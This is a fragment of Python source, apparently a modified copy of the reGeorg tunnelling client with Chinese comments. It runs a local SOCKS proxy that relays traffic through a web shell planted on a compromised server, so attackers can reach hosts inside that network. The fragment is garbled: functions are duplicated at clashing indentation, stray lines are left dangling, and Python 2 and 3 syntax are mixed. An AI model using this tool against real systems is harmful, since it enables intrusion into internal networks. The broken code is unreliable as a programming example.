def closeRemoteSession(self):
     HEADER.update({"X-CMD": "DISCONNECT", "Cookie": self.cookie})
     try:
         response = requests.post(url=self.connectString, headers=HEADER, data=None, timeout=TIMEOUT)
     except Exception as e:
         logger.error("Close Connection Failure")
     else:
         if response.status_code == 200:
             logger.info("[%s:%d] Connection Terminated" % (self.httpHost, self.httpPort))
def askgeorg(url):
    """检测reg连接方法"""
    try:
        response = requests.get(url=url, headers=HEADER, timeout=TIMEOUT)
    except Exception as e:
        logger.error(format_exc())
        return False
    else:
        if response:
            text = response.text.strip()
            if response.status_code == 200 and text == "Georg says, 'All seems fine'":
                logger.info(text)
                return True
        else:
            return False
 def setupRemoteSession(self, target, targetPort):
     """新的获取cookie方法"""
     headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": targetPort}
     cookie = None
     try:
         response = requests.post(url=self.connectString, headers=headers, data=None, timeout=TIMEOUT)
     except Exception as e:
         return
     else:
         if response:
             response_header = response.headers
             if response.status_code == 200 and response_header.get("X-STATUS") == "OK":
                 cookie = response_header.get("Set-Cookie")
                 logger.info("[%s:%s] HTTP [200]: cookie [%s]" % (target, targetPort, cookie))
             elif response_header.get("X-ERROR"):
                 logger.error(response_header.get("X-ERROR"))
         else:
             logger.error("[%s:%s] HTTP [%d]" % (target, targetPort, response.status_code))
         return cookie
            return self.parseSocks5(sock)

    def setupRemoteSession(self, target, targetPort):
        """探测端口存活"""
        header = ({"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": targetPort})
        cookie = None
        try:
            response = requests.post(url=self.connectString, headers=header, data=None, timeout=TIMEOUT)
        except Exception, e:
            return
        else:
            if response:
                response_header = response.headers
                if response.status_code == 200 and response_header.get("X-STATUS") == "OK":
                    cookie = response_header.get("Set-Cookie")
                    logger.info("[%s:%s] HTTP [200]: cookie [%s]" % (target, targetPort, cookie))
                elif response_header.get("X-ERROR"):
                    logger.error(response_header.get("X-ERROR"))
            else:
                logger.error("[%s:%s] HTTP [%d]" % (target, targetPort, response.status_code))
            return cookie

    def closeRemoteSession(self):
        header = {"X-CMD": "DISCONNECT", "Cookie": self.cookie}
        try:
            response = requests.post(url=self.connectString, headers=header, data=None, timeout=TIMEOUT)
        except Exception, e:
            logger.error("Close Connection Failure")
        else:
            if response.status_code == 200:
                logger.info("[%s:%d] Connection Terminated" % (self.httpHost, self.httpPort))
        else:
            return False


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller')
    parser.add_argument("-l", "--listen-on", metavar="", help="The default listening address", default="127.0.0.1")
    parser.add_argument("-p", "--listen-port", metavar="", help="The default listening port", type=int, default="8888")
    parser.add_argument("-r", "--read-buff", metavar="", help="Local read buffer, max data to be sent per POST",
                        type=int, default="1024")
    parser.add_argument("-u", "--url", metavar="", required=True, help="The url containing the tunnel script")
    # 取消了原通过命令行指定log级别,通过配置文件指定
    # parser.add_argument("-v", "--verbose", metavar="", help="Verbose output[INFO|DEBUG]", default="INFO")

    args = parser.parse_args()
    logger.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on, args.listen_port, args.url))
    logger.info("Checking if Georg is ready")

    # 查看shell连通性
    if not askgeorg(url=args.url):
        logger.info("Georg is not ready, please check url")
        exit()

    READBUFSIZE = args.read_buff
    # 创建socket
    servSock = socket(AF_INET, SOCK_STREAM)
    servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    # 127.0.0.1:8889,ubuntu中proxychains监听8889端口
    servSock.bind((args.listen_on, args.listen_port))
    servSock.listen(1000)
    while True: